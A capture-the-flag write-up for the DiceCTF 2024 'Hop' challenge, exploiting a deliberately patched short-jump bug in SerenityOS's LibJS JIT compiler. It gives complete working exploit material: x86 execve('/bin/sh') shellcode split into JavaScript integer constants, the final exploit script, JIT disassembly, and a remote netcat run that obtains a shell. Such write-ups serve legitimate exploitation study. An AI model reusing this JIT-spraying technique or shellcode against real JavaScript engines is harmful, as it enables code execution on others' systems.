Skip to content
Jacob on Mastodon Jacob on GitHub RSS Feed Link

Hop - DiceCTF Quals 2024

Written by Jacob & Sina

Summary: Exploiting a patched version of SerenityOS’s Javascript JIT compiler that used 8-bit jumps instead of 32-bit jumps when the offset could fit into 8 bits, by triggering a negative jump when a positive offset was intended, and landing in shellcode split into small chunks within Javascript immediate values.

Hop was an interesting Pwn challenge, using SirenityOS’s LibJS Engine.

For this challenge we were given a diff of the SirenityOS SourceCode, two docker files for building and running the challenge environments, and the scripts run on connection.

Docker Files Dockerfile.Build

FROM debian:bookworm-slim as builder
RUN apt update && \
  apt install -y \
      build-essential cmake curl libmpfr-dev \
      libmpc-dev libgmp-dev e2fsprogs ninja-build \
      qemu-system-gui qemu-system-x86 qemu-utils \
      ccache rsync unzip texinfo libssl-dev \
      sudo gcc g++ git wget && \
  rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/SerenityOS/serenity/
RUN useradd build -m -d /home/build
RUN chown -R build:build serenity
USER build
WORKDIR serenity
COPY patch .
RUN git apply patch
RUN ./Meta/serenity.sh build lagom js

FROM scratch
COPY --from=builder /serenity/Build/lagom/bin/js .
COPY --from=builder /serenity/Build/lagom/lib/ .

Dockerfile.Run

FROM debian:bookworm-slim as base
RUN apt update && apt install -y libcrypt1 && rm -rf /var/lib/apt/lists/*

FROM pwn.red/jail
COPY --from=base / /srv
COPY flag.txt /srv
COPY hook.sh /jail/hook.sh
COPY out/ /srv/app
COPY run_inner.sh /srv/app/run
ENV JAIL_ENV_LIBJS_JIT=1
ENV JAIL_TMP_SIZE=4096

run.sh

#!/bin/sh

./build.sh && docker run -p 5000:5000 --privileged $(docker build -f Dockerfile.Run . -q)

the main script is run_inner.sh

#!/bin/sh

echo "Send your exploit, followed by 'EOF'"
input=""
while IFS= read -r line; do
    if [ "${line}" = "EOF" ]; then
        break
    fi
    echo "${line}" >> /tmp/exploit.js
done
/app/js /tmp/exploit.js

This script is run when we connect to the box, we give it some javascript, and it runs it with its patched version of LibJS

Here’s the patch file we are given:

Base: https://github.com/SerenityOS/serenity/tree/fbde901614368dcf03d4a8eee800d8b89131465f

diff --git a/Userland/Libraries/LibJIT/X86_64/Assembler.h b/Userland/Libraries/LibJIT/X86_64/Assembler.h
index 79b96cf81f..465c4cb38c 100644
--- a/Userland/Libraries/LibJIT/X86_64/Assembler.h
+++ b/Userland/Libraries/LibJIT/X86_64/Assembler.h
@@ -472,12 +472,23 @@ struct X86_64Assembler {
     private:
         void link_jump(X86_64Assembler& assembler, size_t offset_in_instruction_stream)
         {
-            auto offset = offset_of_label_in_instruction_stream.value() - offset_in_instruction_stream;
+            auto offset = static_cast<ssize_t>(offset_of_label_in_instruction_stream.value() - offset_in_instruction_stream);
             auto jump_slot = offset_in_instruction_stream - 4;
-            assembler.m_output[jump_slot + 0] = (offset >> 0) & 0xff;
-            assembler.m_output[jump_slot + 1] = (offset >> 8) & 0xff;
-            assembler.m_output[jump_slot + 2] = (offset >> 16) & 0xff;
-            assembler.m_output[jump_slot + 3] = (offset >> 24) & 0xff;
+            if (offset <= INT8_MAX && offset >= INT8_MIN && assembler.m_output[jump_slot - 1] == 0xE9) {
+                auto small_offset = static_cast<int8_t>(offset + 3);
+                // JMP rel8
+                assembler.m_output[jump_slot - 1] = 0xEB;
+                assembler.m_output[jump_slot + 0] = small_offset;
+                // NOP3_OVERRIDE_NOP
+                assembler.m_output[jump_slot + 1] = 0x0F;
+                assembler.m_output[jump_slot + 2] = 0x1F;
+                assembler.m_output[jump_slot + 3] = 0x00;
+            } else {
+                assembler.m_output[jump_slot + 0] = (offset >> 0) & 0xff;
+                assembler.m_output[jump_slot + 1] = (offset >> 8) & 0xff;
+                assembler.m_output[jump_slot + 2] = (offset >> 16) & 0xff;
+                assembler.m_output[jump_slot + 3] = (offset >> 24) & 0xff;
+            }
         }
     };
 

The first interesting note is that this patch isn’t in LibJS, or not directly, it’s a patch to the LibJIT libraries label linker. Normally, LibJS is a regular javascript interpreter, first parsing the input script into bytecode, then running an interpreter to process this bytecode. But recently (roughly 3 months ago) the SirenityOS Devs have decided to start work on a JIT compiler for LibJS. This JIT Compiler is still in development with many escape hatches to the normal interpreter, but it is able to compile a good ammount of javascript to native x86.

Normally a JIT may be optionally invoked at runtime for performance optimization, but since LibJS’s JIT is still in development, it requires the environment flag LIBJS_JIT=1 (helpfully set in our Docker Container) to be run unconditionally on input.

So we know that we can pass in javascript that will be JIT Compiled to x86, time to figure out where the bug is in this patch.

A helpful patch to the source code that helped a lot with inspecting the behaviour of the compiler and exploiting it was setting the DUMP_JIT_DISASSEMBLY defined constant to 1 in the Userland/Libraries/LibJS/JIT/Compiler.cpp file, before building. This will make the JIT compiler dump disassembly of the compiled code before executing it.

To make working on the challenge easier, we changed the patch file of the challenge to also enable dumping of the disassembly of JIT-compiled code. To build the js binary and its required shared libraries and run a container simulating the remote challenge server with it, just use ./run.sh. This will also copy the js binary and all its required libraries into the out folder outside the container. Also, to be able to run the compiled js binary locally (outside the container), we had to do this to set up the required libc and ld version on our machine:

$ cd out/
$ docker cp peaceful_poitras:/srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
$ docker cp peaceful_poitras:/srv/lib/x86_64-linux-gnu/libc.so.6 .
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . js

The patch modifies the link_jump method of the label class; This function is called to patch jump instructions emitted before the label position was known, modifying the offset to the correct destination. Normally the relative jump instruction the JIT emmits is a full 32-bit immediate unconditional jump, but this patch has a new condition where it emmits a 8-bit immediate jump instead if the jump is within the range of an int_8. Since the label is modifying the old templated command, there is a redundant 3 byte space left so it adds a 3 byte nop instruction to fill out the remaining unused space that the normal jump instruction would take up. This means that the jump needs to be incremented by 3 to reach the intended offset, but if our offset is >= INT8_MAX -2, this increment of 3 will cause an integer overflow on our immediate jump offset, causing us to jump backwards.

So if we can force the JIT to emmit a relative unconditional jump that is in the range 0x7d-0x7f, than we will break the normal control flow, jumping backwards 0x80-0x82 bytes rather than forward.

Generating this offset isn’t straightforward, just passing in some sample Javascript showed that the short jump is triggered often, but it was difficult to create offsets in the exact range required.

We found the most consistent way to generate the labels was to create a for-loop, and modify the contents of the loop to change the distance of the relative jump.

for (let i = 0; i < 1; i++) {
	if (i == 0) {
        // code block 1
    } else {
        // code block 2
    }
}

In the control-flow structure above, there will be a jump from the end of code block 1 to the end of code block 2 (so it jumps over the whole block 2). By controlling the size of block 2, we can control the offset of this jump and trigger the vulnerability.

This turns out to be a fun sort of linear optimization problem, needing to find the right number of instructions to generate a jump of a specific size.

[] will compile to the NewArray operation in the bytecode, which has a length of 27 bytes. Similarly, any string literal (e.g. "a") compiles to NewString which has a length of 33 bytes after compilation. Immediate integer values compile to LoadImmediate with a length of 13 bytes.

After some experimentation, we wrote a small script to find the right combination of [], "a", and numeric literals to reach the specific needed jump offset and trigger the vulnerable negative jump.

for a in range(10):
    for b in range(10):
        for c in range(10):
            if 0x7d <= 13 * a + 27 * b + 33 * c + 18 <= 0x7f:
                print(a, b, c)

Ok great, we can regularly trigger the bug, how do we now pwn it? Well if we could control the code where it jumps to, then its simple, just execve("/bin/sh"), but we don’t have the ability to output whatever bytes we want.

looking at our generated code we identified that immediate values would get compiled into our source code, so 0x09eb696a; would cause the coresponding bytes of the immediate to show up in the JIT code, if we could force the backwards jump to land exactly on these bytes, we can write shellcode within these constants.

We then filled our javascript loop from above with 0xcccccccc immediates, to catch the halt instruction in gdb and find the point where we land on our code.

From int3 to shellcode

Now that we can point the instruction pointer to user-controlled instructions and land on an int3, we need a way to get a shell. The user-controlled chunks can be at most 3 or 4 bytes long using the LoadImmediate js bytecode. So we needed to craft our shellcode to fit within these small chunks, with each chunk requiring a jmp at the end to link to the next part of our shellcode. Also, because we had to insert some padding at the end of the if block to get the negative jump to land in controlled data, we ended up landing at the end of controlled data. The other LoadImmediate operations that we can insert in the if block have to be located before our landing point, so we also need to chain some backward jumps to open up space for our shellcode and then start executing the main shellcode.

We will write a eb 89 instruction at the point we land to perform a backward jump. Then, we identify the landing point of this jump and write another eb 89 there. Continuing this 5 or 6 times, we can go back enough to be able to fit our shellcode in the gaps between.

start_main_shellcode <--
...                    |
...                    |
...                    |
[eb 89] <--    ---------
...       |
...       |
...       |
[eb 89] ---
...
same pattern...
...
[eb 89] -> landing point for the vulnerable jump

In the diagram above, the ... are blocks that can contain our main shellcode.

main shellcode

Since we only control small 4-bytes chunks, we need to split our main shellcode into 4-byte pieces. In each chunk, we can only fit at most 2 bytes of shellcode, before requiring a jump to the next chunk (with the eb 09 instruction, or eb 16 in case we want to jump two blocks forward to jump over one of the backward jumps that were previously explained).

With this 2 byte constraint, we needed to find a way to place /bin/sh into memory and move it’s address into rdi. Placing a breakpoint right before our shellcode was executed, we noticed that before the shellcode is executed, therbx register holds a pointer to some writable address in memory. So we could move this address into rdi, and then write the /bin/sh string byte-by-byte into the location rbx points to with only 2 byte instructions.

This is the final shellcode:

.intel_syntax noprefix
.global _start

_start:
# write "/bin/sh" onto the stack
push 0x00
push 0x68
push 0x73
push 0x2f
push 0x6e
push 0x69
push 0x62
push 0x2f

push rbx
pop rdi

# copy "/bin/sh" into some writable location
pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

pop rax
mov byte ptr [rbx], al
inc bl

# setup rsi, rdx, and rax to do execve("/bin/sh", 0, 0)
xor esi, esi
xor edx, edx
push 59
pop rax
syscall

win

Now we need to separate the instructions of this shellcode into 2-byte blocks and add a small jump at the end of each block to the beginning of the next block, and write the bytes in a js script to win. This is the final solution script:

for (let i = 0; i < 1; i++) {
	if (i == 0) {
		0x09eb006a;	// push 0
		0x09eb686a;	// push 0x68
		0x09eb736a;	// push 0x73
		0x09eb2f6a;	// push 0x2f
		0x09eb6e6a;	// push 0x6e
		0x09eb696a;	// push 0x69
		0x09eb626a;	// push 0x62
		0x09eb2f6a;	// push 0x2f
		0x16eb5f53;	// push rbx; pop rdi
		
		0xcc89eb;	// backward jump
		
		0x09eb9058;	// pop rax ; nop
		0x09eb0388;	// mov byte ptr [rbx], al
		0x09ebc3fe;	// inc bl
		0x09eb9058;	// same 3 instructions repeated...
		0x09eb0388;
		0x09ebc3fe;
		0x09eb9058;
		0x16eb0388;
		
		0xcc89eb;	// backward jump
		
		0x09ebc3fe;
		0x09eb9058;
		0x09eb0388;
		0x09ebc3fe;
		0x09eb9058;
		0x09eb0388;
		0x09ebc3fe;
		0x16eb9058;
		
		0xcc89eb;	// backward jump

		0x09eb0388;
		0x09ebc3fe;
		0x09eb9058;
		0x09eb0388;
		0x09ebc3fe;
		0x09eb9058;
		0x09eb0388;
		0x16ebc3fe;
		
		0xcc89eb;	// backward jump
		
		0x09ebf631;	// xor esi, esi
		0x09ebd231;	// xor edx, edx
		0x09eb3b6a;	// push 59
		0x09eb9058;	// pop rax
		0x09eb050f;	// syscall
		0x09eb0b0f;	// ud2 => terminate the program if execve fails and we reach here. used for debugging the shellcode.
		0x09ebcccc;	// padding
		0x16ebcccc;	// padding

		0xcc89eb;	// backward jump (vulnerable jump landing point)
		[];"a";[];[];	// padding to make the vulnerable negative jump land in the immediate value above
	} else {
		[];[];[];[];	// padding to trigger a vulnerable negative jump when it tries to jump over this code block
	}
}

To summarize, the control flow in handled in a way that results in a jmp from the end of the if block to after the end of the else block (so a jump that jumps over the whole else block). The [];[];[];[]; in the else block can change the size of this jump into 0x7e (in the case of a normal 32-bit jump) which is increased by 3 to be replaced with an 8-bit jump. This will result in a jump instruction of eb 81 at the end of the if block, which will jump backwards into the if block itself instead of jumping over the else block and to the end of it. the [];"a";[];[]; line at the end of the if block is padding to ensure that this negative jump lands in the constant value above this line. After the jump lands in the integer constant right before the last line of the if block, we can control the instructions at rip by writing instructions in the form of integer constants. We right instructions to jump backwards several times and open up space for our main shellcode, and when these backward jumps reach the first line of the if block in the script above, we start executing our main shellcode by dividing it into 4-byte chunks.

sample output

Shown below is the output from running our exploit in a version of the challenge patched to also output the generated bytecode and assembly, as you can see, we get our negative jump, shellcode, and finally shell! Unimportant parts of the disassembly and bytecodes are removed to keep the output short, and important parts of the exploit payload are marked with comments.

$ LIBJS_JIT=1 ./js -d exploit.js

JS::Bytecode::Executable ()
1:
[   0] CreateLexicalEnvironment
[  18] CreateVariable env:Lexical immutable:false global:false 0 (i)
[  40] Store $6
(....)
7:
[   0] LoadImmediate undefined
[  20] LoadImmediate 166396010    #--> main shellcode
[  40] LoadImmediate 166422634
[  60] LoadImmediate 166425450
[  80] LoadImmediate 166408042
[  a0] LoadImmediate 166424170
[  c0] LoadImmediate 166422890
[  e0] LoadImmediate 166421098
[ 100] LoadImmediate 166408042
[ 120] LoadImmediate 384524115
[ 140] LoadImmediate 13404651
[ 160] LoadImmediate 166432856
[ 180] LoadImmediate 166396808
[ 1a0] LoadImmediate 166446078
[ 1c0] LoadImmediate 166432856
[ 1e0] LoadImmediate 166396808
[ 200] LoadImmediate 166446078
[ 220] LoadImmediate 166432856
[ 240] LoadImmediate 384500616
[ 260] LoadImmediate 13404651
[ 280] LoadImmediate 166446078
[ 2a0] LoadImmediate 166432856
[ 2c0] LoadImmediate 166396808
[ 2e0] LoadImmediate 166446078
[ 300] LoadImmediate 166432856
[ 320] LoadImmediate 166396808
[ 340] LoadImmediate 166446078
[ 360] LoadImmediate 384536664
[ 380] LoadImmediate 13404651
[ 3a0] LoadImmediate 166396808
[ 3c0] LoadImmediate 166446078
[ 3e0] LoadImmediate 166432856
[ 400] LoadImmediate 166396808
[ 420] LoadImmediate 166446078
[ 440] LoadImmediate 166432856
[ 460] LoadImmediate 166396808
[ 480] LoadImmediate 384549886
[ 4a0] LoadImmediate 13404651
[ 4c0] LoadImmediate 166458929
[ 4e0] LoadImmediate 166449713
[ 500] LoadImmediate 166411114
[ 520] LoadImmediate 166432856
[ 540] LoadImmediate 166397199
[ 560] LoadImmediate 166398735
[ 580] LoadImmediate 166448332
[ 5a0] LoadImmediate 384552140
[ 5c0] LoadImmediate 13404651    #--> vulnerable jump landing point
[ 5e0] NewArray                  #--> padding at the end of if block
[ 600] NewString 0 ("a")
[ 620] NewArray
[ 640] NewArray
[ 660] Jump @9                   #--> the vulnerable jump                   
8:
[   0] LoadImmediate undefined
[  20] NewArray
[  40] NewArray                  #--> padding in else block
[  60] NewArray
[  80] NewArray
[  a0] Jump @9                   #--> the vulnerable jump
9:
[   0] Jump @5


Disassembly of '' (exploit.js:1:1):
entry:
0x00007fd8b1da9000  55                    push   rbp
0x00007fd8b1da9001  48 89 e5              mov    rbp,rsp
0x00007fd8b1da9004  53                    push   rbx
0x00007fd8b1da9005  53                    push   rbx
(...)
Block 7:
7:0 LoadImmediate undefined:
0x00007fd8b1da98c3  48 b8 00 00 00 00 00  mov    rax, 0x7ffe000000000000
0x00007fd8b1da98ca  00 fe 7f
0x00007fd8b1da98cd  49 89 c4              mov    r12,rax
7:20 LoadImmediate 166396010:
0x00007fd8b1da98d0  48 b8 6a 00 eb 09 00  mov    rax, 0x7ffa000009eb006a    # main shellcode
0x00007fd8b1da98d7  00 fa 7f
0x00007fd8b1da98da  49 89 c4              mov    r12,rax
7:40 LoadImmediate 166422634:
0x00007fd8b1da98dd  48 b8 6a 68 eb 09 00  mov    rax, 0x7ffa000009eb686a
0x00007fd8b1da98e4  00 fa 7f
0x00007fd8b1da98e7  49 89 c4              mov    r12,rax
(...)
7:5c0 LoadImmediate 13404651:
0x00007fd8b1da9b19  48 b8 eb 89 cc 00 00  mov    rax, 0x7ffa000000cc89eb    # landing point of the vulnerable jump
0x00007fd8b1da9b20  00 fa 7f
0x00007fd8b1da9b23  49 89 c4              mov    r12,rax
7:5e0 NewArray:                                                             # padding at the end of the if block
0x00007fd8b1da9b26  31 f6                 xor    esi,esi
0x00007fd8b1da9b28  31 d2                 xor    edx,edx
0x00007fd8b1da9b2a  57                    push   rdi
0x00007fd8b1da9b2b  6a 00                 push   0x00
0x00007fd8b1da9b2d  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9b34  7f 00 00
0x00007fd8b1da9b37  ff d0                 call   eax
0x00007fd8b1da9b39  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9b3d  5f                    pop    rdi
0x00007fd8b1da9b3e  49 89 c4              mov    r12,rax
7:600 NewString 0 ("a"):
0x00007fd8b1da9b41  48 be c0 e7 4d 45 69  mov    rsi, 0x00005569454de7c0
0x00007fd8b1da9b48  55 00 00
0x00007fd8b1da9b4b  57                    push   rdi
0x00007fd8b1da9b4c  6a 00                 push   0x00
0x00007fd8b1da9b4e  48 b8 f0 d7 59 b2 d8  mov    rax, 0x00007fd8b259d7f0
0x00007fd8b1da9b55  7f 00 00
0x00007fd8b1da9b58  ff d0                 call   eax
0x00007fd8b1da9b5a  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9b5e  5f                    pop    rdi
0x00007fd8b1da9b5f  49 89 c4              mov    r12,rax
7:620 NewArray:
0x00007fd8b1da9b62  31 f6                 xor    esi,esi
0x00007fd8b1da9b64  31 d2                 xor    edx,edx
0x00007fd8b1da9b66  57                    push   rdi
0x00007fd8b1da9b67  6a 00                 push   0x00
0x00007fd8b1da9b69  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9b70  7f 00 00
0x00007fd8b1da9b73  ff d0                 call   eax
0x00007fd8b1da9b75  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9b79  5f                    pop    rdi
0x00007fd8b1da9b7a  49 89 c4              mov    r12,rax
7:640 NewArray:
0x00007fd8b1da9b7d  31 f6                 xor    esi,esi
0x00007fd8b1da9b7f  31 d2                 xor    edx,edx
0x00007fd8b1da9b81  57                    push   rdi
0x00007fd8b1da9b82  6a 00                 push   0x00
0x00007fd8b1da9b84  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9b8b  7f 00 00
0x00007fd8b1da9b8e  ff d0                 call   eax
0x00007fd8b1da9b90  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9b94  5f                    pop    rdi
0x00007fd8b1da9b95  49 89 c4              mov    r12,rax
7:660 Jump @9:
0x00007fd8b1da9b98  eb 81                 jmp    short b1da9b1b <7:5c0+0x2>    # the vulnerable jump
0x00007fd8b1da9b9a  0f 1f 00              nop    [rax]

Block 8:
8:0 LoadImmediate undefined:
0x00007fd8b1da9b9d  48 b8 00 00 00 00 00  mov    rax, 0x7ffe000000000000       # padding in else block
0x00007fd8b1da9ba4  00 fe 7f
0x00007fd8b1da9ba7  49 89 c4              mov    r12,rax
8:20 NewArray:
0x00007fd8b1da9baa  31 f6                 xor    esi,esi
0x00007fd8b1da9bac  31 d2                 xor    edx,edx
0x00007fd8b1da9bae  57                    push   rdi
0x00007fd8b1da9baf  6a 00                 push   0x00
0x00007fd8b1da9bb1  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9bb8  7f 00 00
0x00007fd8b1da9bbb  ff d0                 call   eax
0x00007fd8b1da9bbd  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9bc1  5f                    pop    rdi
0x00007fd8b1da9bc2  49 89 c4              mov    r12,rax
8:40 NewArray:
0x00007fd8b1da9bc5  31 f6                 xor    esi,esi
0x00007fd8b1da9bc7  31 d2                 xor    edx,edx
0x00007fd8b1da9bc9  57                    push   rdi
0x00007fd8b1da9bca  6a 00                 push   0x00
0x00007fd8b1da9bcc  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9bd3  7f 00 00
0x00007fd8b1da9bd6  ff d0                 call   eax
0x00007fd8b1da9bd8  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9bdc  5f                    pop    rdi
0x00007fd8b1da9bdd  49 89 c4              mov    r12,rax
8:60 NewArray:
0x00007fd8b1da9be0  31 f6                 xor    esi,esi
0x00007fd8b1da9be2  31 d2                 xor    edx,edx
0x00007fd8b1da9be4  57                    push   rdi
0x00007fd8b1da9be5  6a 00                 push   0x00
0x00007fd8b1da9be7  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9bee  7f 00 00
0x00007fd8b1da9bf1  ff d0                 call   eax
0x00007fd8b1da9bf3  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9bf7  5f                    pop    rdi
0x00007fd8b1da9bf8  49 89 c4              mov    r12,rax
8:80 NewArray:
0x00007fd8b1da9bfb  31 f6                 xor    esi,esi
0x00007fd8b1da9bfd  31 d2                 xor    edx,edx
0x00007fd8b1da9bff  57                    push   rdi
0x00007fd8b1da9c00  6a 00                 push   0x00
0x00007fd8b1da9c02  48 b8 a0 dc 59 b2 d8  mov    rax, 0x00007fd8b259dca0
0x00007fd8b1da9c09  7f 00 00
0x00007fd8b1da9c0c  ff d0                 call   eax
0x00007fd8b1da9c0e  48 83 c4 08           add    rsp,0x08
0x00007fd8b1da9c12  5f                    pop    rdi
0x00007fd8b1da9c13  49 89 c4              mov    r12,rax
8:a0 Jump @9:
0x00007fd8b1da9c16  eb 03                 jmp    short b1da9c1b <Block 9>
0x00007fd8b1da9c18  0f 1f 00              nop    [rax]

Block 9:
9:0 Jump @5:
0x00007fd8b1da9c1b  e9 75 fa ff ff        jmp    b1da9695 <Block 5>
common_exit:
0x00007fd8b1da9c20  4c 89 23              mov    [rbx],r12
0x00007fd8b1da9c23  41 5f                 pop    r15
0x00007fd8b1da9c25  41 5e                 pop    r14
0x00007fd8b1da9c27  41 5d                 pop    r13
0x00007fd8b1da9c29  41 5c                 pop    r12
0x00007fd8b1da9c2b  5b                    pop    rbx
0x00007fd8b1da9c2c  5b                    pop    rbx
0x00007fd8b1da9c2d  c9                    leave
0x00007fd8b1da9c2e  c3                    ret

$ # we got a shell!

Also a successful remote run:

$ (cat exploit.js ; echo EOF ; cat) | nc <ip> <port>
id
uid=1000 gid=1000 groups=1000

and finally flag dice{hop_skip_shortjmp}!